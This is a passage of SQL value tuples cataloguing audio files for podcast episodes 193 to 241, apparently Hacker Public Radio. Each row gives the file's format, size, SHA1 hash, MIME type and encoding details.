(193,'hpr0193.spx','spx',7803417,'63d6b55bfe79f8329caeaf5c890094cd5cbe2d74','application/ogg; charset=binary','Ogg data, Speex audio'),
(194,'hpr0194.mp3','mp3',44116448,'5a7cd7b5fdbd095e14dc527cfbd4ba725df44929','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(194,'hpr0194.ogg','ogg',48376152,'d46c65004524b3715d7825b38b3d3b2ed0c31ae7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(194,'hpr0194.spx','spx',20258793,'e85c7855fa2e8eb1159d2a3278c9a883c164e3ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(195,'hpr0195.mp3','mp3',22979142,'aca5530f422c074eaab6a68a45e1c517a2bc1c1a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(195,'hpr0195.ogg','ogg',28252504,'2b78405208ecea920959b59a934487001e879341','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(195,'hpr0195.spx','spx',10552323,'ff15e5386163a780cc0dd480f8a3157861508696','application/ogg; charset=binary','Ogg data, Speex audio'),
(196,'hpr0196.mp3','mp3',10627764,'2ca7f2f66451d3c69725e5daf07061ee6a18ccc3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(196,'hpr0196.ogg','ogg',13764023,'9a8dbfde38ed8e7082859b3868935d4994dcc9a7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(196,'hpr0196.spx','spx',4880092,'9ea0528f094e56b259dc2cbfdf5586b6bc83735d','application/ogg; charset=binary','Ogg data, Speex audio'),
(197,'hpr0197.mp3','mp3',9616064,'407f43d25415330e68d8942e71da091d4430cc60','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Stereo'),
(197,'hpr0197.ogg','ogg',11467734,'812d1437d87235686f23e288e8f1aa51c28c372c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(197,'hpr0197.spx','spx',4416027,'8a4c02135bd3ea64047cadf5c850d9ab403b5176','application/ogg; charset=binary','Ogg data, Speex audio'),
(198,'hpr0198.mp3','mp3',16072440,'36defe9f5156c82be822e19b4d98e77361cead9b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  32 kbps, 44.1 kHz, Stereo'),
(198,'hpr0198.ogg','ogg',13024721,'4616bbaca4152072f7324566ce13ec7ac8357360','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(198,'hpr0198.spx','spx',4531685,'9fb4c4125f72a17a24577ee286d1d63321dc9f66','application/ogg; charset=binary','Ogg data, Speex audio'),
(199,'hpr0199.mp3','mp3',45927990,'d03f5d95d2877343ba8e5ea6d37bc6862811de5a','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(199,'hpr0199.ogg','ogg',32029910,'26e3cbce7d516c9cd137d7d8c2620da8811554b8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(199,'hpr0199.spx','spx',21090791,'95179c6af14bcfc6ca4f7cfcc1ab7b12011ae6a0','application/ogg; charset=binary','Ogg data, Speex audio'),
(200,'hpr0200.mp3','mp3',5123078,'888e97d0d7ec2af0918ccbd1e7e121dd4f7e58f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(200,'hpr0200.ogg','ogg',4013727,'e6a051343f53c8e288333e576f97a1110a807b00','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(200,'hpr0200.spx','spx',1176413,'b1967e622bbf45a27c0c3d5a327d75a84d22c0ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(201,'hpr0201.mp3','mp3',21601870,'973f6f7c95970078c742cff9e20a035b2a76a968','application/octet-stream; charset=binary','Audio file with ID3 version 2.3.0'),
(201,'hpr0201.ogg','ogg',8321203,'112c961b6e8b3bdfb3b19ae1e676b25a7daf63f6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(201,'hpr0201.spx','spx',4959956,'bf5f4152c169919608eebba1ba19eb320aff0888','application/ogg; charset=binary','Ogg data, Speex audio'),
(202,'hpr0202.mp3','mp3',6858579,'72a437ab830dcef2d6c93da9e16024498b80b451','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(202,'hpr0202.ogg','ogg',8085123,'e60ca6ec5a73f8c292dac496d8c771d16b8a46b6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(202,'hpr0202.spx','spx',6752142,'c11b5183d458f4cabfa20ae998411a5c8e72043c','application/ogg; charset=binary','Ogg data, Speex audio'),
(203,'hpr0203.mp3','mp3',13183548,'184bb22f4628019a3c11aeb530336f192a6d1b36','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(203,'hpr0203.ogg','ogg',17317733,'df380d2891c6255b2bc7096be90192f752e682b0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(203,'hpr0203.spx','spx',6054046,'ec9862b25e51f95e3e803a506e60c6372cd64844','application/ogg; charset=binary','Ogg data, Speex audio'),
(204,'hpr0204.mp3','mp3',46072833,'d11c928911f890be7ad06c179e31488619a521f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(204,'hpr0204.ogg','ogg',50965762,'6b808973d788a1b85521bee85c1dd3630220270b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(204,'hpr0204.spx','spx',21157215,'237efe0b8d3c54b57d4851dac299427770c3d09d','application/ogg; charset=binary','Ogg data, Speex audio'),
(205,'hpr0205.mp3','mp3',62118083,'84eab8979821b2c41a524d537114ae1afd5fbeb6','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(205,'hpr0205.ogg','ogg',43238163,'f1f4e9c6766f78af6fc70479eced7322f7f11171','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(205,'hpr0205.spx','spx',14262745,'5b9e018a7a8ad3d8b79bd6e2ce0b46cf0b174065','application/ogg; charset=binary','Ogg data, Speex audio'),
(206,'hpr0206.mp3','mp3',9201664,'eb9a311a029dc053e055bbd7c536eff5dfd27ffc','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(206,'hpr0206.ogg','ogg',6468703,'e9f56c94dda2d751bb321320b6bd4c272fb00176','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(206,'hpr0206.spx','spx',2112773,'73891150acf328026a4ad52afeb4bf343be16422','application/ogg; charset=binary','Ogg data, Speex audio'),
(207,'hpr0207.mp3','mp3',7438284,'d3a32ed7b6ad93a7e67b7731ece9115aa443db4b','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(207,'hpr0207.ogg','ogg',4990518,'fb84345cf8ce1fc2ae234de5346a8b5b7d98069b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(207,'hpr0207.spx','spx',3415971,'76d8d32602989fa476893d7fc1b80ad720d4502f','application/ogg; charset=binary','Ogg data, Speex audio'),
(208,'hpr0208.mp3','mp3',20020505,'2f1bc216f048dc6a24f00492bc469508bcb0a707','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(208,'hpr0208.ogg','ogg',14466258,'b554193cf8e2f8ed17cbfb1561669a6a4c1b41a0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(208,'hpr0208.spx','spx',4596841,'a5584292d361d5702399ec1d4b47e6d32211fafd','application/ogg; charset=binary','Ogg data, Speex audio'),
(209,'hpr0209.mp3','mp3',28860209,'a5196970574037d7801814e0d6e3090673748274','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(209,'hpr0209.ogg','ogg',34239816,'474784906b3b775e213c6f09456298807110b9c1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(209,'hpr0209.spx','spx',13253072,'3f51d1ef1bb4948142dbb6e230581b5fd7db746e','application/ogg; charset=binary','Ogg data, Speex audio'),
(210,'hpr0210.mp3','mp3',17125587,'094d16c70dd693fcc8649694ec24a68b40ec8a8e','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(210,'hpr0210.ogg','ogg',21153708,'21815019d181b1722327c84a1ece7ae1657473c8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(210,'hpr0210.spx','spx',7864430,'1459f83a10f49cca80024632830a13e3587474e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(211,'hpr0211.mp3','mp3',4923267,'2a21a2b5ef0507d8ac991d3fa0aaf53b17c24583','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(211,'hpr0211.ogg','ogg',2194922,'07823625428e78cefb81efbde26f9c8ed46f151d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(211,'hpr0211.spx','spx',2260740,'46883c34450bdbce17fc511a5b974d3619420db7','application/ogg; charset=binary','Ogg data, Speex audio'),
(212,'hpr0212.mp3','mp3',29847011,'2e47daa0d2c3ecaefd7d882806f326e96ff76def','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(212,'hpr0212.ogg','ogg',35970158,'552856b25b8a105f2908dbe74b5182b7cf06e80d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(212,'hpr0212.spx','spx',13706252,'5c0a23018ac91e6f25a3737d45c4ae3834ef5c65','application/ogg; charset=binary','Ogg data, Speex audio'),
(213,'hpr0213.mp3','mp3',25284547,'b798521b00a138819a500dd94cad810a1487d557','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(213,'hpr0213.ogg','ogg',25750210,'044ae3372cf88207ea99a4659a7aaae93f72425f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(213,'hpr0213.spx','spx',11610646,'2a763f82fa05285674e8ed50edea22dd222b78ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(214,'hpr0214.mp3','mp3',40813842,'57cd324256ac17ea472cdc9eaa2759f434bbeb35','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(214,'hpr0214.ogg','ogg',28961708,'f5726db2865814849bd3912aa6b5d3139aa7d943','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(214,'hpr0214.spx','spx',18742372,'9b3d105e8f91977d96ce7f57d630a66471ac3a60','application/ogg; charset=binary','Ogg data, Speex audio'),
(215,'hpr0215.mp3','mp3',33754953,'315dd13be912b2064be0e320e04ce2d9a0d33d91','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(215,'hpr0215.ogg','ogg',19541467,'526fd7e2ec7f6ed0d537348c777cdbf35b5360c3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(215,'hpr0215.spx','spx',7537738,'2871f06f40ad52bd9a86d76fa024c1437b005ab4','application/ogg; charset=binary','Ogg data, Speex audio'),
(216,'hpr0216.mp3','mp3',3998189,'e09facad1c9da3c6c9757446f48bc1ec9867e20c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(216,'hpr0216.ogg','ogg',1785144,'de1e2d9bf0f630f474ff65349ce076664a97a9cb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(216,'hpr0216.spx','spx',1835927,'1226d04cbff507c288a19420f2de547ed5a60408','application/ogg; charset=binary','Ogg data, Speex audio'),
(217,'hpr0217.mp3','mp3',33830455,'20a0337b89b6103df44847f1d7d46dc151e117e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(217,'hpr0217.ogg','ogg',41830951,'879efbe22659dba43928255dec0e35e7acfe7c5c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(217,'hpr0217.spx','spx',15535386,'f8d87e33851975dd84e03c72fd1ccd45dfea9478','application/ogg; charset=binary','Ogg data, Speex audio'),
(218,'hpr0218.mp3','mp3',27792950,'453119e9a55ef5c145dab3d8059449eaf2559c67','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(218,'hpr0218.ogg','ogg',34279054,'551074d3fc0ad650adb0d73b634feda737c54e25','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(218,'hpr0218.spx','spx',12763003,'0b79ec7afda06e7e956e9f3882515bb361727737','application/ogg; charset=binary','Ogg data, Speex audio'),
(219,'hpr0219.mp3','mp3',1949183,'b9036ea61fac197e9cc1700a35a6406d58981b6d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(219,'hpr0219.ogg','ogg',2692495,'6c572682225a62f3beb1eba379929320dd80bd98','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(219,'hpr0219.spx','spx',894722,'87b1348600fa82a53fd683c2f657833f98a11a48','application/ogg; charset=binary','Ogg data, Speex audio'),
(220,'hpr0220.mp3','mp3',41851701,'d50aea19aebce442f197b5e963f8c761689ca1e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(220,'hpr0220.ogg','ogg',30417356,'e60d18c615a51f777d17a94e5e8be777063020a9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(220,'hpr0220.spx','spx',19218828,'7824a28f702780962d54de54377fff9c7d70d14e','application/ogg; charset=binary','Ogg data, Speex audio'),
(221,'hpr0221.mp3','mp3',9125706,'953854314c978ced04849fd4d9c5e0eda7c1fad0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  32 kbps, 44.1 kHz, Stereo'),
(221,'hpr0221.ogg','ogg',6552825,'167e4540c24b4b6d96dd40fcce86c872e6ad5be8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(221,'hpr0221.spx','spx',2082070,'76e478558b132c24c40132ba55de31c436b053dd','application/ogg; charset=binary','Ogg data, Speex audio'),
(222,'hpr0222.mp3','mp3',27843344,'f968ac92a5aae589e10216bff7c077762be3d318','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(222,'hpr0222.ogg','ogg',16897774,'3cd4f4026f2dc25af9bfd177b4df5fa396e5d36f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(222,'hpr0222.spx','spx',6392106,'1e591196f46a4d34fb376e64b9998884bd934f2b','application/ogg; charset=binary','Ogg data, Speex audio'),
(223,'hpr0223.mp3','mp3',20483076,'2b53105727f2053d5d5c51f630e3f61b16d7d96e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(223,'hpr0223.ogg','ogg',12739493,'aa370770eac51079e415ec4d478ac00362d16bfb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(223,'hpr0223.spx','spx',4702344,'5bf3a630084f1af8493e8b4d31250a866671cf52','application/ogg; charset=binary','Ogg data, Speex audio'),
(224,'hpr0224.mp3','mp3',4020098,'655a55200996a8c20a1d92ab96d7fd0223015558','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(224,'hpr0224.ogg','ogg',4342323,'00af6e6e1447795d58599fd26fbba6f490270bc9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(224,'hpr0224.spx','spx',1846128,'2c31ca06dac66788db6b2d9e625573ef6a9ca0f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(225,'hpr0225.mp3','mp3',25832283,'d48d47515e6b0fcf2f91685bb010fd3b163c49cc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(225,'hpr0225.ogg','ogg',10490446,'ca59d11e21cf5052df712bc9bd9aeab4326233f9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(225,'hpr0225.spx','spx',5931207,'c952336ef687b721357973f747000fadbf34a8a9','application/ogg; charset=binary','Ogg data, Speex audio'),
(226,'hpr0226.mp3','mp3',41335314,'784a9a0a556568a18c6cc526220dd98c7567dfea','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(226,'hpr0226.ogg','ogg',48524258,'be0780300d0eb7fd47b6e1b4a648511fc1c419aa','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(226,'hpr0226.spx','spx',18981672,'b63034e360946d860d3afcc90d72b14469ca4151','application/ogg; charset=binary','Ogg data, Speex audio'),
(227,'hpr0227.mp3','mp3',14341750,'f4b1866b78e7f5de4c5ee0aa8c147c51de5c828e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(227,'hpr0227.ogg','ogg',11919084,'9b6ecce987136baf770417b9f64d3b7efa97250c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(227,'hpr0227.spx','spx',4390096,'a2d3f7255112146999ca6490173b2b64fc8ee292','application/ogg; charset=binary','Ogg data, Speex audio'),
(228,'hpr0228.mp3','mp3',11843443,'72f29399a8a593ae4130c60343e2d9662a95cb38','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(228,'hpr0228.ogg','ogg',7411861,'2168bd583793b2cca2219ac040c4587d2baa96fd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(228,'hpr0228.spx','spx',2718792,'6f7ff6e5f848989af1e271cceec09dd674949fc6','application/ogg; charset=binary','Ogg data, Speex audio'),
(229,'hpr0229.mp3','mp3',16943127,'3b6b5c6cd228153c6344277b3343a75bd65070c9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(229,'hpr0229.ogg','ogg',21197553,'66d45533656c4697cc537a20400024bbc54c3e92','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(229,'hpr0229.spx','spx',7780159,'fa067431bb1e233c133a5783238f96d28602eb24','application/ogg; charset=binary','Ogg data, Speex audio'),
(230,'hpr0230.mp3','mp3',18805135,'a84ffb91bf6fb72f27ea8f7b26cff2fcb2027224','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(230,'hpr0230.ogg','ogg',13762549,'57b62a4d0f70e5b85feec49340aa54d4413bd0b8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(230,'hpr0230.spx','spx',4317705,'1ca6f7ea1dd3fdd5ee9d65600e64cbb5b6a727c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(231,'hpr0231.mp3','mp3',2295612,'61b6c315f798960b2c0bbd8bb2dae643e93b8e92','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(231,'hpr0231.ogg','ogg',3036348,'c4173ab5862decbbad1cab5a096d1e41a75ae9c7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(231,'hpr0231.spx','spx',1054231,'d0fb169b0e9ea5dd0deaf2d73518e1e8dc32137a','application/ogg; charset=binary','Ogg data, Speex audio'),
(232,'hpr0232.mp3','mp3',41323402,'b80dc36a9bc1dca3da251147c842a972eced1bf3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(232,'hpr0232.ogg','ogg',28354263,'3a1345af7c294d78a7a4369dfc48205681c155f3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(232,'hpr0232.spx','spx',18976243,'bb392389cf57ebf898d74d820dad67d6ae34f06f','application/ogg; charset=binary','Ogg data, Speex audio'),
(233,'hpr0233.mp3','mp3',4876128,'c22e6b6d2e37f2a10948eaf7ae784b7645146d3d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(233,'hpr0233.ogg','ogg',3920685,'2c04165b1109d1ffab787133593740e975c6097e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(233,'hpr0233.spx','spx',2357508,'a3e1ee08ef8848995e6388e04f624d7e94620080','application/ogg; charset=binary','Ogg data, Speex audio'),
(234,'hpr0234.mp3','mp3',24907056,'94f7d0ff6bbf0b34a8a767e43e88065083e13427','audio/mpeg; charset=binary','Audio file with ID3 version 2.2.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(234,'hpr0234.ogg','ogg',16252080,'7256cdd8432728bed3a5beaf625ba7bedccb8295','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(234,'hpr0234.spx','spx',5717984,'e1c058024053e58317d75f6464b07826909c09ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(235,'hpr0235.mp3','mp3',4223442,'a34fe4c05cbdcff38802123d51dd46e183d37650','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(235,'hpr0235.ogg','ogg',3289598,'0df2ee146813a3d8692fe33bf2839b94937501b7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(235,'hpr0235.spx','spx',1939532,'a1e1bb53b5c021a9c4a71c75ba462e857547c2b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(236,'hpr0236.mp3','mp3',39285269,'e48bd23a793e92502c3f513f5febbc3d99f9fbe3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 16 kHz, Stereo'),
(236,'hpr0236.ogg','ogg',24758111,'12b82e3c45bbc4171991ee44525ad117d6f98ff3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(236,'hpr0236.spx','spx',17837983,'683ae91745c808868abb5cc8a90aea8ef0b6b29d','application/ogg; charset=binary','Ogg data, Speex audio'),
(237,'hpr0237.mp3','mp3',15806413,'c9e7cadeded59a17a79d98f777b5fa2cb40ff8a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.2.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(237,'hpr0237.ogg','ogg',10182352,'753797c058604ccc896fe6516fe15b821290dda5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(237,'hpr0237.spx','spx',3628610,'5dd5a89a69d335ec4a701ee1f73d1b55544bf3b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(238,'hpr0238.mp3','mp3',1968813,'ceac82ca27ee14a15eafc2ca98945bf0553c942b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(238,'hpr0238.ogg','ogg',2675954,'9497b09bc2ec2049edb0cc2670cbbae0fefd9a5e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(238,'hpr0238.spx','spx',904120,'1c016ecc8a7da6446d938ba0b68a65d7f6c85b27','application/ogg; charset=binary','Ogg data, Speex audio'),
(239,'hpr0239.mp3','mp3',19356510,'87b0ae142588c0e3bd6dabe30850fd21ba35902a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(239,'hpr0239.ogg','ogg',23776138,'8b16b245af7c1c8aae23632ba282e6f18d65ee7c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(239,'hpr0239.spx','spx',8888811,'711fac8d1ebbfd9196e50839bbb37c5fe75a9001','application/ogg; charset=binary','Ogg data, Speex audio'),
(240,'hpr0240.mp3','mp3',1796962,'58c39538b709f7b1726c5d2e8131f60c68b29c43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(240,'hpr0240.ogg','ogg',2457708,'d2e6dff9ab88170ccead64de890a74e14c572cdd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(240,'hpr0240.spx','spx',825305,'8f807009031af55e291e0b5e594aab3958a33172','application/ogg; charset=binary','Ogg data, Speex audio'),
(241,'hpr0241.mp3','mp3',29297854,'9651d169f681f90fd495a5df4b0a5822069764df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Stereo'),
(241,'hpr0241.ogg','ogg',34585434,'f073065001fbef100cf1c662794b1623fc3cf4ec','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(241,'hpr0241.spx','spx',13453950,'75c3bdd54c3aee1a85b0b7e62782938ec16bcb59','application/ogg; charset=binary','Ogg data, Speex audio'),
